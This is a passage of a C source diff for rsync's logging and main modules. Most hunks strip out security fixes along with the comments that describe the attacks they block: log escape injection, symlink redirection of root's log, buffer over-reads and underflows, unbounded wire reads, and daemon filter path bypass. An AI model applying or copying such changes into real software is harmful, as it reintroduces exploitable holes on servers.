HAVE_MBRTOWC\n-#include <wchar.h>\n-typedef mbstate_t filter_mbstate;\n-#else\n-typedef int filter_mbstate;\n-#endif\n \n extern int dry_run;\n extern int am_daemon;\n@@ -127,20 +119,12 @@ static char const *rerr_name(int code)\n \treturn NULL;\n }\n \n-static void filtered_fwrite(FILE *f, const char *in_buf, int in_len, int use_isprint, char end_char);\n-\n static void logit(int priority, const char *buf)\n {\n \tif (logfile_was_closed)\n \t\tlogfile_reopen();\n \tif (logfile_fp) {\n-\t\t/* Escape control chars in the message so an attacker-controlled\n-\t\t * filename can't inject terminal escapes into the log an admin later\n-\t\t * cat's (CWE-117); keep the trailing newline raw via end_char. */\n-\t\tint len = strlen(buf);\n-\t\tchar trailing = len && buf[len-1] == '\\n' ? buf[--len] : '\\0';\n-\t\tfprintf(logfile_fp, \"%s [%d] \", timestring(time(NULL)), (int)getpid());\n-\t\tfiltered_fwrite(logfile_fp, buf, len, 0, trailing);\n+\t\tfprintf(logfile_fp, \"%s [%d] %s\", timestring(time(NULL)), (int)getpid(), buf);\n \t\tfflush(logfile_fp);\n \t} else {\n \t\tsyslog(priority, \"%s\", buf);\n@@ -169,15 +153,7 @@ static void syslog_init()\n static void logfile_open(void)\n {\n \tmode_t old_umask = umask(022 | orig_umask);\n-\t/* --log-file/`log file =` are operator-supplied paths that may transit\n-\t * attacker-writable dirs; a planted symlink could redirect root's log\n-\t * into e.g. /root/.ssh/authorized_keys.  Refuse symlinks not owned by\n-\t * uid 0 or our euid. */\n-\tint fd = open_no_attacker_symlinks(logfile_name,\n-\t\t\t\t\t\tO_WRONLY | O_APPEND | O_CREAT, 0644);\n-\tlogfile_fp = fd >= 0 ? fdopen(fd, \"a\") : NULL;\n-\tif (!logfile_fp && fd >= 0)\n-\t\tclose(fd);\n+\tlogfile_fp = fopen(logfile_name, \"a\");\n \tumask(old_umask);\n \tif (!logfile_fp) {\n \t\tint fopen_errno = errno;\n@@ -246,100 +222,26 @@ void logfile_reopen(void)\n \t}\n }\n \n-/* Decode one character using the active locale. Invalid or incomplete input\n- * returns 0 so its bytes are filtered individually. */\n-static size_t locale_char_len(const char *buf, size_t len, filter_mbstate *state,\n-\t\t\t      int *is_control)\n-{\n-#if defined HAVE_WCHAR_H && defined HAVE_MBRTOWC\n-\twchar_t wc;\n-\tsize_t char_len = mbrtowc(&wc, buf, len, state);\n-\n-\tif (char_len == (size_t)-1 || char_len == (size_t)-2) {\n-\t\tmemset(state, 0, sizeof *state);\n-\t\treturn 0;\n-\t}\n-\tif (char_len == 0)\n-\t\tchar_len = 1;\n-\t*is_control = wc != L'\\t'\n-\t\t&& (wc < L' ' || (wc >= 0x7f && wc <= 0x9f));\n-\treturn char_len;\n-#else\n-\t(void)buf;\n-\t(void)len;\n-\t(void)state;\n-\t(void)is_control;\n-\treturn 0;\n-#endif\n-}\n-\n-static size_t filtered_char_len(const char *buf, size_t len, int use_isprint,\n-\t\t\t\tfilter_mbstate *state, int *escape)\n-{\n-\tuchar byte = *(const uchar *)buf;\n-\tint is_control = 0;\n-\tsize_t char_len = !use_isprint && byte >= 0x80\n-\t\t? locale_char_len(buf, len, state, &is_control) : 0;\n-\n-\tif (char_len) {\n-\t\t*escape = is_control;\n-\t\treturn char_len;\n-\t}\n-\t*escape = (len > 4 && *buf == '\\\\' && buf[1] == '#'\n-\t\t   && isDigit(buf + 2) && isDigit(buf + 3) && isDigit(buf + 4))\n-\t       || (*buf != '\\t' && ((use_isprint && !isPrint(buf)) || byte < ' '\n-\t\t   || byte == 0x7f || (byte >= 0x80 && byte <= 0x9f)));\n-\treturn 1;\n-}\n-\n static void filtered_fwrite(FILE *f, const char *in_buf, int in_len, int use_isprint, char end_char)\n {\n-\tchar outbuf[1024];\n-\tfilter_mbstate state;\n-\tsize_t out_len = 0;\n+\tchar outbuf[1024], *ob = outbuf;\n \tconst char *end = in_buf + in_len;\n-\tmemset(&state, 0, sizeof state);\n-\n \twhile (in_buf < end) {\n-\t\tint escape;\n-\t\tsize_t i, char_len = filtered_char_len(\n-\t\t\tin_buf, (size_t)(end - in_buf), use_isprint, &state, &escape);\n-\t\tsize_t expansion = escape ? 5 : 1;\n-\t\tsize_t out_size;\n-\n-\t\tif (out_len > sizeof outbuf || char_len > sizeof outbuf / expansion)\n-\t\t\texit_cleanup(RERR_MESSAGEIO);\n-\t\tout_size = char_len * expansion;\n-\t\tif (sizeof outbuf - out_len < out_size) {\n-\t\t\tif (out_len && fwrite(outbuf, 1, out_len, f) != out_len)\n+\t\tif (ob - outbuf >= (int)sizeof outbuf - 10) {\n+\t\t\tif (fwrite(outbuf, ob - outbuf, 1, f) != 1)\n \t\t\t\texit_cleanup(RERR_MESSAGEIO);\n-\t\t\tout_len = 0;\n-\t\t}\n-\t\tif (escape) {\n-\t\t\tfor (i = 0; i < char_len; i++) {\n-\t\t\t\tuchar byte = (uchar)in_buf[i];\n-\t\t\t\toutbuf[out_len++] = '\\\\';\n-\t\t\t\toutbuf[out_len++] = '#';\n-\t\t\t\toutbuf[out_len++] = (char)('0' + ((byte >> 6) & 7));\n-\t\t\t\toutbuf[out_len++] = (char)('0' + ((byte >> 3) & 7));\n-\t\t\t\toutbuf[out_len++] = (char)('0' + (byte & 7));\n-\t\t\t}\n-\t\t} else {\n-\t\t\tmemcpy(outbuf + out_len, in_buf, char_len);\n-\t\t\tout_len += char_len;\n+\t\t\tob = outbuf;\n \t\t}\n-\t\tin_buf += char_len;\n-\t}\n-\tif (end_char && out_len == sizeof outbuf) {\n-\t\tif (fwrite(outbuf, 1, out_len, f) != out_len)\n-\t\t\texit_cleanup(RERR_MESSAGEIO);\n-\t\tout_len = 0;\n+\t\tif ((in_buf < end - 4 && *in_buf == '\\\\' && in_buf[1] == '#'\n+\t\t  && isDigit(in_buf + 2) && isDigit(in_buf + 3) && isDigit(in_buf + 4))\n+\t\t || (*in_buf != '\\t' && ((use_isprint && !isPrint(in_buf)) || *(uchar*)in_buf < ' ')))\n+\t\t\tob += snprintf(ob, 6, \"\\\\#%03o\", *(uchar*)in_buf++);\n+\t\telse\n+\t\t\t*ob++ = *in_buf++;\n \t}\n-\tif (end_char)\n-\t\toutbuf[out_len++] = end_char;\n-\tif (out_len > sizeof outbuf)\n-\t\texit_cleanup(RERR_MESSAGEIO);\n-\tif (out_len && fwrite(outbuf, 1, out_len, f) != out_len)\n+\tif (end_char) /* The \"- 10\" above means that there is always room for one more char here. */\n+\t\t*ob++ = end_char;\n+\tif (ob != outbuf && fwrite(outbuf, ob - outbuf, 1, f) != 1)\n \t\texit_cleanup(RERR_MESSAGEIO);\n }\n \n@@ -348,7 +250,7 @@ static void filtered_fwrite(FILE *f, const char *in_buf, int in_len, int use_isp\n  * can happen with certain fatal conditions. */\n void rwrite(enum logcode code, const char *buf, int len, int is_utf8)\n {\n-\tchar trailing_NL;\n+\tchar trailing_CR_or_NL;\n \tFILE *f = msgs2stderr == 1 ? stderr : stdout;\n #ifdef ICONV_OPTION\n \ticonv_t ic = is_utf8 && ic_recv != (iconv_t)-1 ? ic_recv : ic_chck;\n@@ -370,12 +272,8 @@ void rwrite(enum logcode code, const char *buf, int len, int is_utf8)\n \t\tif (am_daemon > 0 && code != FCLIENT)\n \t\t\tcode = FLOG;\n \t} else if (send_msgs_to_gen) {\n-\t\t/* Pass the message to our sibling in native charset.  is_utf8\n-\t\t * may be set here if a malicious peer sends MSG_INFO/MSG_ERROR\n-\t\t * to a daemon receiver (read_a_msg passes !am_generator); the\n-\t\t * old assert(!is_utf8) made that a remotely-reachable abort.\n-\t\t * Forwarding the bytes raw is safe -- the generator's rwrite()\n-\t\t * gets is_utf8=0 and filtered_fwrite escapes non-printables. */\n+\t\tassert(!is_utf8);\n+\t\t/* Pass the message to our sibling in native charset. */\n \t\tsend_msg((enum msgcode)code, buf, len, 0);\n \t\treturn;\n \t}\n@@ -399,12 +297,7 @@ void rwrite(enum logcode code, const char *buf, int len, int is_utf8)\n \t\tin_block = 1;\n \t\tif (!log_initialised)\n \t\t\tlog_init(0);\n-\t\t/* buf holds exactly len bytes and is not necessarily NUL-terminated\n-\t\t * (e.g. a forwarded MSG_* payload from read_a_msg), so copy by length\n-\t\t * rather than strlcpy(), which would strlen() past the end of buf. */\n-\t\tint mlen = MIN((int)sizeof msg - 1, len);\n-\t\tmemcpy(msg, buf, mlen);\n-\t\tmsg[mlen] = '\\0';\n+\t\tstrlcpy(msg, buf, MIN((int)sizeof msg, len + 1));\n \t\tlogit(priority, msg);\n \t\tin_block = 0;\n \n@@ -457,7 +350,13 @@ void rwrite(enum logcode code, const char *buf, int len, int is_utf8)\n \t\toutput_needs_newline = 0;\n \t}\n \n-\ttrailing_NL = len && buf[len-1] == '\\n' ? buf[--len] : '\\0';\n+\ttrailing_CR_or_NL = len && (buf[len-1] == '\\n' || buf[len-1] == '\\r') ? buf[--len] : '\\0';\n+\n+\tif (len && buf[0] == '\\r') {\n+\t\tfputc('\\r', f);\n+\t\tbuf++;\n+\t\tlen--;\n+\t}\n \n #ifdef ICONV_CONST\n \tif (ic != (iconv_t)-1) {\n@@ -472,10 +371,10 @@ void rwrite(enum logcode code, const char *buf, int len, int is_utf8)\n \t\t\ticonvbufs(ic, &inbuf, &outbuf, inbuf.pos ? 0 : ICB_INIT);\n \t\t\tierrno = errno;\n \t\t\tif (outbuf.len) {\n-\t\t\t\tchar trailing = inbuf.len ? '\\0' : trailing_NL;\n+\t\t\t\tchar trailing = inbuf.len ? '\\0' : trailing_CR_or_NL;\n \t\t\t\tfiltered_fwrite(f, convbuf, outbuf.len, 0, trailing);\n \t\t\t\tif (trailing) {\n-\t\t\t\t\ttrailing_NL = '\\0';\n+\t\t\t\t\ttrailing_CR_or_NL = '\\0';\n \t\t\t\t\tfflush(f);\n \t\t\t\t}\n \t\t\t\toutbuf.len = 0;\n@@ -489,30 +388,19 @@ void rwrite(enum logcode code, const char *buf, int len, int is_utf8)\n \t\t\t}\n \t\t}\n \n-\t\tif (trailing_NL) {\n-\t\t\tfputc(trailing_NL, f);\n+\t\tif (trailing_CR_or_NL) {\n+\t\t\tfputc(trailing_CR_or_NL, f);\n \t\t\tfflush(f);\n \t\t}\n \t} else\n #endif\n \t{\n-\t\tfiltered_fwrite(f, buf, len, !allow_8bit_chars, trailing_NL);\n-\t\tif (trailing_NL)\n+\t\tfiltered_fwrite(f, buf, len, !allow_8bit_chars, trailing_CR_or_NL);\n+\t\tif (trailing_CR_or_NL)\n \t\t\tfflush(f);\n \t}\n }\n \n-/* Emit the carriage return owned by rsync's progress displays. */\n-void rput_progress(void)\n-{\n-\tFILE *f = msgs2stderr == 1 ? stderr : stdout;\n-\n-\tif (quiet)\n-\t\treturn;\n-\tif (fputc('\\r', f) == EOF || fflush(f) == EOF)\n-\t\texit_cleanup(RERR_MESSAGEIO);\n-}\n-\n /* This is the rsync debugging function. Call it with FINFO, FERROR_*,\n  * FWARNING, FLOG, or FCLIENT. */\n void rprintf(enum logcode code, const char *format, ...)\n@@ -568,17 +456,11 @@ void rsyserr(enum logcode code, int errcode, const char *format, ...)\n \tchar buf[BIGPATHBUFLEN];\n \tsize_t len;\n \n-\t/* snprintf returns the would-have-been length on truncation, so\n-\t * each cumulative call must be guarded; if not, sizeof buf - len\n-\t * can underflow when promoted to size_t and the next call writes\n-\t * past the buffer. */\n \tlen = snprintf(buf, sizeof buf, RSYNC_NAME \": [%s] \", who_am_i());\n \n-\tif (len < sizeof buf) {\n-\t\tva_start(ap, format);\n-\t\tlen += vsnprintf(buf + len, sizeof buf - len, format, ap);\n-\t\tva_end(ap);\n-\t}\n+\tva_start(ap, format);\n+\tlen += vsnprintf(buf + len, sizeof buf - len, format, ap);\n+\tva_end(ap);\n \n \tif (len < sizeof buf) {\n \t\tlen += snprintf(buf + len, sizeof buf - len,\n@@ -611,17 +493,12 @@ void remember_initial_stats(void)\n \tinitial_data_written = total_data_written;\n }\n \n-/* Size of log_formatted()'s per-escape \"fmt\" scratch buffer.  log_format_has()\n- * must bound its width-digit scan to the same limit so the two parsers agree on\n- * where an escape letter falls (see the digit loop in each). */\n-#define LOG_FMT_SIZE 32\n-\n /* A generic logging routine for send/recv, with parameter substitiution. */\n static void log_formatted(enum logcode code, const char *format, const char *op,\n \t\t\t  struct file_struct *file, const char *fname, int iflags,\n \t\t\t  const char *hlink)\n {\n-\tchar buf[MAXPATHLEN+1024], buf2[MAXPATHLEN], fmt[LOG_FMT_SIZE];\n+\tchar buf[MAXPATHLEN+1024], buf2[MAXPATHLEN], fmt[32];\n \tchar *p, *s, *c;\n \tconst char *n;\n \tsize_t len, total;\n@@ -802,7 +679,7 @@ static void log_formatted(enum logcode code, const char *format, const char *op,\n \t\tcase 'C':\n \t\t\tn = NULL;\n \t\t\tif (S_ISREG(file->mode)) {\n-\t\t\t\tif (always_checksum && !(iflags & ITEM_DELETED))\n+\t\t\t\tif (always_checksum)\n \t\t\t\t\tn = sum_as_hex(file_sum_nni->num, F_SUM(file), 1);\n \t\t\t\telse if (iflags & ITEM_TRANSFER)\n \t\t\t\t\tn = sum_as_hex(xfer_sum_nni->num, sender_file_sum, 0);\n@@ -867,9 +744,6 @@ static void log_formatted(enum logcode code, const char *format, const char *op,\n \t\t\t\t}\n \t\t\t}\n \t\t\tbreak;\n-\t\tcase '%':\n-\t\t\tn = \"%\";\n-\t\t\tbreak;\n \t\t}\n \n \t\t/* \"n\" is the string to be inserted in place of this % code. */\n@@ -913,33 +787,21 @@ static void log_formatted(enum logcode code, const char *format, const char *op,\n int log_format_has(const char *format, char esc)\n {\n \tconst char *p;\n-\tint width;\n \n \tif (!format)\n \t\treturn 0;\n \n \tfor (p = format; (p = strchr(p, '%')) != NULL; ) {\n \t\tfor (p++; *p == '\\''; p++) {} /*SHARED ITERATOR*/\n-\t\t/* Mirror log_formatted()'s width-digit scan exactly (c starts at\n-\t\t * fmt+1, so width starts at 1): both must stop at the same digit\n-\t\t * or they disagree on where the escape letter is, which for %C\n-\t\t * can leave sender_keeps_checksum unset and over-read F_SUM. */\n-\t\twidth = 1;\n-\t\tif (*p == '-') {\n+\t\tif (*p == '-')\n \t\t\tp++;\n-\t\t\twidth++;\n-\t\t}\n-\t\twhile (isDigit(p) && width < LOG_FMT_SIZE - 8) {\n+\t\twhile (isDigit(p))\n \t\t\tp++;\n-\t\t\twidth++;\n-\t\t}\n \t\twhile (*p == '\\'') p++;\n \t\tif (!*p)\n \t\t\tbreak;\n \t\tif (*p == esc)\n \t\t\treturn 1;\n-\t\tif (*p == '%')\t/* %% is a literal '%', not the start of an escape */\n-\t\t\tp++;\n \t}\n \treturn 0;\n }\n@@ -995,18 +857,15 @@ void log_delete(const char *fname, int mode)\n \n \tfile->mode = mode;\n \n-\tif (INFO_GTE(DEL, 1) || stdout_format) {\n-\t\tif (am_server && protocol_version >= 29 && len < MAXPATHLEN) {\n-\t\t\t/* The generator may be unable to flush these messages until\n-\t\t\t * the sender's file list is complete.  Only queue names that\n-\t\t\t * the client requested as per-item output. */\n-\t\t\tif (S_ISDIR(mode))\n-\t\t\t\tlen++; /* directories include trailing null */\n-\t\t\tsend_msg(MSG_DELETED, fname, len, am_generator);\n-\t\t} else {\n-\t\t\tfmt = stdout_format_has_o_or_i ? stdout_format : \"deleting %n\";\n-\t\t\tlog_formatted(FCLIENT, fmt, \"del.\", file, fname, ITEM_DELETED, NULL);\n-\t\t}\n+\tif (am_server && protocol_version >= 29 && len < MAXPATHLEN) {\n+\t\tif (S_ISDIR(mode))\n+\t\t\tlen++; /* directories include trailing null */\n+\t\tsend_msg(MSG_DELETED, fname, len, am_generator);\n+\t} else if (!INFO_GTE(DEL, 1) && !stdout_format)\n+\t\t;\n+\telse {\n+\t\tfmt = stdout_format_has_o_or_i ? stdout_format : \"deleting %n\";\n+\t\tlog_formatted(FCLIENT, fmt, \"del.\", file, fname, ITEM_DELETED, NULL);\n \t}\n \n \tif (!logfile_name || dry_run || !logfile_format)\ndiff --git a/main.c b/main.c\nindex 63c35a1..4f070ac 100644\n--- a/main.c\n+++ b/main.c\n@@ -31,9 +31,6 @@\n #ifdef __TANDEM\n #include <floss.h(floss_execlp)>\n #endif\n-#ifdef HAVE_SYS_RESOURCE_H\n-#include <sys/resource.h>\n-#endif\n \n extern int dry_run;\n extern int list_only;\n@@ -51,7 +48,6 @@ extern int called_from_signal_handler;\n extern int need_messages_from_generator;\n extern int kluge_around_eof;\n extern int got_xfer_error;\n-extern volatile sig_atomic_t got_sigusr2;\n extern int old_style_args;\n extern int msgs2stderr;\n extern int module_id;\n@@ -243,11 +239,11 @@ void write_del_stats(int f)\n \n void read_del_stats(int f)\n {\n-\tstats.deleted_files = read_varint_bounded(f, 0, MAX_WIRE_DEL_STAT, \"deleted_files\");\n-\tstats.deleted_files += stats.deleted_dirs = read_varint_bounded(f, 0, MAX_WIRE_DEL_STAT, \"deleted_dirs\");\n-\tstats.deleted_files += stats.deleted_symlinks = read_varint_bounded(f, 0, MAX_WIRE_DEL_STAT, \"deleted_symlinks\");\n-\tstats.deleted_files += stats.deleted_devices = read_varint_bounded(f, 0, MAX_WIRE_DEL_STAT, \"deleted_devices\");\n-\tstats.deleted_files += stats.deleted_specials = read_varint_bounded(f, 0, MAX_WIRE_DEL_STAT, \"deleted_specials\");\n+\tstats.deleted_files = read_varint(f);\n+\tstats.deleted_files += stats.deleted_dirs = read_varint(f);\n+\tstats.deleted_files += stats.deleted_symlinks = read_varint(f);\n+\tstats.deleted_files += stats.deleted_devices = read_varint(f);\n+\tstats.deleted_files += stats.deleted_specials = read_varint(f);\n }\n \n static void become_copy_as_user()\n@@ -390,7 +386,7 @@ static void handle_stats(int f)\n \n static void output_itemized_counts(const char *prefix, int *counts)\n {\n-\tstatic char *const labels[] = { \"reg\", \"dir\", \"link\", \"dev\", \"special\" };\n+\tstatic char *labels[] = { \"reg\", \"dir\", \"link\", \"dev\", \"special\" };\n \tchar buf[1024], *pre = \" (\";\n \tint j, len = 0;\n \tint total = counts[0];\n@@ -398,18 +394,9 @@ static void output_itemized_counts(const char *prefix, int *counts)\n \t\tcounts[0] -= counts[1] + counts[2] + counts[3] + counts[4];\n \t\tfor (j = 0; j < 5; j++) {\n \t\t\tif (counts[j]) {\n-\t\t\t\t/* snprintf can return more than its size arg\n-\t\t\t\t * on truncation; keep len <= sizeof buf - 2 so\n-\t\t\t\t * the closing ')' and trailing NUL always\n-\t\t\t\t * have room and the next iteration's\n-\t\t\t\t * sizeof buf - len - 2 cannot underflow. */\n-\t\t\t\tif (len >= (int)sizeof buf - 2)\n-\t\t\t\t\tbreak;\n \t\t\t\tlen += snprintf(buf+len, sizeof buf - len - 2,\n \t\t\t\t\t\"%s%s: %s\",\n \t\t\t\t\tpre, labels[j], comma_num(counts[j]));\n-\t\t\t\tif (len > (int)sizeof buf - 2)\n-\t\t\t\t\tlen = (int)sizeof buf - 2;\n \t\t\t\tpre = \", \";\n \t\t\t}\n \t\t}\n@@ -443,9 +430,6 @@ static void output_summary(void)\n \t\t\thuman_num(stats.total_transferred_size));\n \t\trprintf(FINFO,\"Literal data: %s bytes\\n\",\n \t\t\thuman_num(stats.literal_data));\n-\t\tif (protocol_version >= 33)\n-\t\t\trprintf(FINFO,\"Number of 4 KiB logical blocks touched: %s\\n\",\n-\t\t\t\tcomma_num(stats.touched_blocks_4k));\n \t\trprintf(FINFO,\"Matched data: %s bytes\\n\",\n \t\t\thuman_num(stats.matched_data));\n \t\trprintf(FINFO,\"File list size: %s\\n\",\n@@ -524,16 +508,6 @@ static pid_t do_cmd(char *cmd, char *machine, char *user, char **remote_argv, in\n \tchar *args[MAX_ARGS], *need_to_free = NULL;\n \tpid_t pid;\n \tint dash_l_set = 0;\n-#ifdef SUPPORT_IDN\n-\tchar idn_machine[1024];\n-\n-\t/* A daemon-over-remote-shell host is ours to resolve, so give the helper\n-\t * the A-label form.  A \"host:path\" transfer is left alone because that\n-\t * name belongs to the user's ssh, which may be matching it against an\n-\t * ssh_config Host pattern. */\n-\tif (machine && daemon_connection > 0 && idn_to_ascii(machine, 1, idn_machine, sizeof idn_machine))\n-\t\tmachine = idn_machine;\n-#endif\n \n \tif (!read_batch && !local_server) {\n \t\tchar *t, *f, in_quote = '\\0';\n@@ -729,24 +703,20 @@ static char *get_local_name(struct file_list *flist, char *dest_path)\n \t\tdest_path = dot_dir_or_error();\n \n \tif (daemon_filter_list.head) {\n-\t\t/* Collapse \"..\" for the NAME-based daemon filter check so a \"../excluded\"\n-\t\t * destination is matched by name, as stock rsync does on its sanitized\n-\t\t * arg.  Done on a copy: the daemon exclude/filter is name-based (a symlink\n-\t\t * whose own name is not excluded is still followed -- see rsyncd.conf(5)\n-\t\t * \"munge symlinks\"), and the real dest_path is left for the resolver. */\n-\t\tchar cleaned[MAXPATHLEN], *slash;\n-\t\tif (!sanitize_path(cleaned, dest_path, NULL, 0, SP_KEEP_DOT_DIRS))\n-\t\t\tstrlcpy(cleaned, dest_path, sizeof cleaned);\n-\t\tslash = strrchr(cleaned, '/');\n+\t\tchar *slash = strrchr(dest_path, '/');\n \t\tif (slash && (slash[1] == '\\0' || (slash[1] == '.' && slash[2] == '\\0')))\n \t\t\t*slash = '\\0';\n-\t\tif ((*cleaned != '.' || cleaned[1] != '\\0')\n-\t\t && (check_filter(&daemon_filter_list, FLOG, cleaned, 0) < 0\n-\t\t  || check_filter(&daemon_filter_list, FLOG, cleaned, 1) < 0)) {\n+\t\telse\n+\t\t\tslash = NULL;\n+\t\tif ((*dest_path != '.' || dest_path[1] != '\\0')\n+\t\t && (check_filter(&daemon_filter_list, FLOG, dest_path, 0) < 0\n+\t\t  || check_filter(&daemon_filter_list, FLOG, dest_path, 1) < 0)) {\n \t\t\trprintf(FERROR, \"ERROR: daemon has excluded destination \\\"%s\\\"\\n\",\n \t\t\t\tdest_path);\n \t\t\texit_cleanup(RERR_FILESELECT);\n \t\t}\n+\t\tif (slash)\n+\t\t\t*slash = '/';\n \t}\n \n \t/* See what currently exists at the destination. */\n@@ -760,10 +730,10 @@ static char *get_local_name(struct file_list *flist, char *dest_path)\n \t\tif (ret < 0)\n \t\t\tgoto mkdir_error;\n \t\tif (ret && (INFO_GTE(NAME, 1) || stdout_format_has_i)) {\n-\t\t\tif (cp && (file_total == 1 || trailing_slash))\n+\t\t\tif (file_total == 1 || trailing_slash)\n \t\t\t\t*cp = '\\0';\n-\t\t\trprintf(FINFO, \"created %s director%s for %s\\n\", comma_num(ret), ret == 1 ? \"y\" : \"ies\", dest_path);\n-\t\t\tif (cp && (file_total == 1 || trailing_slash))\n+\t\t\trprintf(FINFO, \"created %d director%s for %s\\n\", ret, ret == 1 ? \"y\" : \"ies\", dest_path);\n+\t\t\tif (file_total == 1 || trailing_slash)\n \t\t\t\t*cp = '/';\n \t\t}\n \t\tif (ret)\n@@ -853,16 +823,7 @@ static char *get_local_name(struct file_list *flist, char *dest_path)\n \t\tdest_path = \"/\";\n \n \t*cp = '\\0';\n-\tif (dry_run && mkpath_dest_arg && do_stat(dest_path, &st) < 0) {\n-\t\t/* --mkpath would have created this parent dir, but a dry run did\n-\t\t * not, so don't chdir into it; flag the destination as not yet\n-\t\t * present (as the dir-creation path above does) so the generator\n-\t\t * doesn't try to compare against the missing tree (#880).  Only\n-\t\t * the missing-parent case is touched, so an ordinary file-to-file\n-\t\t * dry run still itemizes against an existing destination. */\n-\t\tdry_run++;\n-\t\tchange_dir(dest_path, CD_SKIP_CHDIR);\n-\t} else if (!change_dir(dest_path, CD_NORMAL)) {\n+\tif (!change_dir(dest_path, CD_NORMAL)) {\n \t\trsyserr(FERROR, errno, \"change_dir#3 %s failed\",\n \t\t\tfull_fname(dest_path));\n \t\texit_cleanup(RERR_FILESELECT);\n@@ -885,20 +846,13 @@ static void check_alt_basis_dirs(void)\n \n \tfor (j = 0; j < basis_dir_cnt; j++) {\n \t\tchar *bdir = basis_dir[j];\n-\t\tassert(bdir != NULL); /* option-supplied root; never NULL */\n \t\tint bd_len = strlen(bdir);\n \t\tif (bd_len > 1 && bdir[bd_len-1] == '/')\n \t\t\tbdir[--bd_len] = '\\0';\n-\t\t/* Make a relative --link-dest/--copy-dest/--compare-dest absolute\n-\t\t * (vs the destination curr_dir).  These are operator-trusted roots, so\n-\t\t * an absolute path makes the do_*_at() wrappers use plain resolution\n-\t\t * rather than reject an operator '..' outside the dest tree (e.g.\n-\t\t * --copy-dest=../to).  Skipped when sanitize_paths already confined\n-\t\t * them; the dry_run>1 case keeps its leading-\"../\"-strip. */\n-\t\tif (*bdir != '/' && (dry_run > 1 || !sanitize_paths)) {\n+\t\tif (dry_run > 1 && *bdir != '/') {\n \t\t\tint len = curr_dir_len + 1 + bd_len + 1;\n \t\t\tchar *new = new_array(char, len);\n-\t\t\tif (dry_run > 1 && slash && strncmp(bdir, \"../\", 3) == 0) {\n+\t\t\tif (slash && strncmp(bdir, \"../\", 3) == 0) {\n \t\t\t\t/* We want to remove only one leading \"../\" prefix for\n \t\t\t\t * the directory we couldn't create in dry-run mode:\n \t\t\t\t * this ensures that any other \"..\" references get\n@@ -1110,11 +1064,6 @@ static int do_recv(int f_in, int f_out, char *local_name)\n \n \t\twrite_int(f_out, NDX_DONE);\n \t\tsend_msg(MSG_STATS, (char*)&stats.total_read, sizeof stats.total_read, 0);\n-\t\tif (protocol_version >= 33) {\n-\t\t\tchar b[8];\n-\t\t\tSIVAL64(b, 0, stats.touched_blocks_4k);\n-\t\t\tsend_msg(MSG_BLOCK_STATS, b, sizeof b, 0);\n-\t\t}\n \t\tio_flush(FULL_FLUSH);\n \n \t\t/* Handle any keep-alive packets from the post-processing work\n@@ -1130,13 +1079,11 @@ static int do_recv(int f_in, int f_out, char *local_name)\n \t\t\texit_cleanup(RERR_PROTOCOL);\n \t\t}\n \n-\t\t/* Finally, we go to sleep until our parent tells us to wrap up\n-\t\t * with a USR2 signal.  We sleep for a short time, as on some OSes\n-\t\t * a signal won't interrupt a sleep, then act on the flag the\n-\t\t * (async-signal-safe) handler set. */\n-\t\twhile (!got_sigusr2)\n+\t\t/* Finally, we go to sleep until our parent kills us with a\n+\t\t * USR2 signal.  We sleep for a short time, as on some OSes\n+\t\t * a signal won't interrupt a sleep! */\n+\t\twhile (1)\n \t\t\tmsleep(20);\n-\t\treceive_sigusr2();\n \t}\n \n \tam_generator = 1;\n@@ -1262,25 +1209,15 @@ static void do_server_recv(int f_in, int f_out, int argc, char *argv[])\n \t\tchar **dir_p;\n \t\tfilter_rule_list *elp = &daemon_filter_list;\n \n-\t\t/* Collapse \"..\" and strip the module-dir prefix to get the module-relative\n-\t\t * name, but keep a leading \"/\" for a \"path = /\" module (module_dirlen <= 1)\n-\t\t * so an absolute (module-rooted) filter rule still matches. */\n-\t\tchar clean[MAXPATHLEN], *dir;\n \t\tfor (dir_p = basis_dir; *dir_p; dir_p++) {\n-\t\t\tif (!sanitize_path(clean, *dir_p, \"/\", 0, SP_DEFAULT))\n-\t\t\t\tstrlcpy(clean, *dir_p, sizeof clean);\n-\t\t\tdir = clean + (*clean == '/' && module_dirlen > 1 ? module_dirlen : 0);\n-\t\t\tif (check_filter(elp, FLOG, dir, 1) < 0)\n-\t\t\t\tgoto options_rejected;\n-\t\t}\n-\t\tif (partial_dir && *partial_dir == '/') {\n-\t\t\tif (!sanitize_path(clean, partial_dir, \"/\", 0, SP_DEFAULT))\n-\t\t\t\tstrlcpy(clean, partial_dir, sizeof clean);\n-\t\t\tdir = clean + (*clean == '/' && module_dirlen > 1 ? module_dirlen : 0);\n+\t\t\tchar *dir = *dir_p;\n+\t\t\tif (*dir == '/')\n+\t\t\t\tdir += module_dirlen;\n \t\t\tif (check_filter(elp, FLOG, dir, 1) < 0)\n \t\t\t\tgoto options_rejected;\n \t\t}\n-\t\tif (0) {\n+\t\tif (partial_dir && *partial_dir == '/'\n+\t\t && check_filter(elp, FLOG, partial_dir + module_dirlen, 1) < 0) {\n \t\t    options_rejected:\n \t\t\trprintf(FERROR, \"Your options have been rejected by the server.\\n\");\n \t\t\texit_cleanup(RERR_SYNTAX);\n@@ -1309,25 +1246,11 @@ void start_server(int f_in, int f_out, int argc, char *argv[])\n \n \tif (protocol_version >= 23)\n \t\tio_start_multiplex_out(f_out);\n-\t/* Priority diagnostics need the negotiated message channel.\n-\t * File-list work starts below. */\n-\tniceness_apply();\n \tif (am_daemon && io_timeout && protocol_version >= 31)\n \t\tsend_msg_int(MSG_IO_TIMEOUT, io_timeout);\n \n \tif (am_sender) {\n \t\tkeep_dirlinks = 0; /* Must be disabled on the sender. */\n-\n-\t\t/* Mirror client_run()'s sender_keeps_checksum check: a daemon-\n-\t\t * as-sender with -c and a `log format` containing %C will read\n-\t\t * F_SUM(file) in log_formatted(), so make_file() must allocate\n-\t\t * SUM_EXTRA_CNT.  Without this, F_SUM() reads past the pool slot\n-\t\t * and hex-encodes adjacent heap into the transfer log. */\n-\t\tif (always_checksum\n-\t\t && (log_format_has(stdout_format, 'C')\n-\t\t  || log_format_has(logfile_format, 'C')))\n-\t\t\tsender_keeps_checksum = 1;\n-\n \t\tif (need_messages_from_generator)\n \t\t\tio_start_multiplex_in(f_in);\n \t\telse\n@@ -1347,7 +1270,6 @@ int client_run(int f_in, int f_out, pid_t pid, int argc, char *argv[])\n \tint exit_code = 0, exit_code2 = 0;\n \tchar *local_name = NULL;\n \n-\tniceness_apply();\n \tcleanup_child_pid = pid;\n \tif (!read_batch) {\n \t\tset_nonblocking(f_in);\n@@ -1392,7 +1314,7 @@ int client_run(int f_in, int f_out, pid_t pid, int argc, char *argv[])\n \n \t\tbecome_copy_as_user();\n \n-\t\tsend_file_list(f_out, argc, argv);\n+\t\tflist = send_file_list(f_out, argc, argv);\n \t\tif 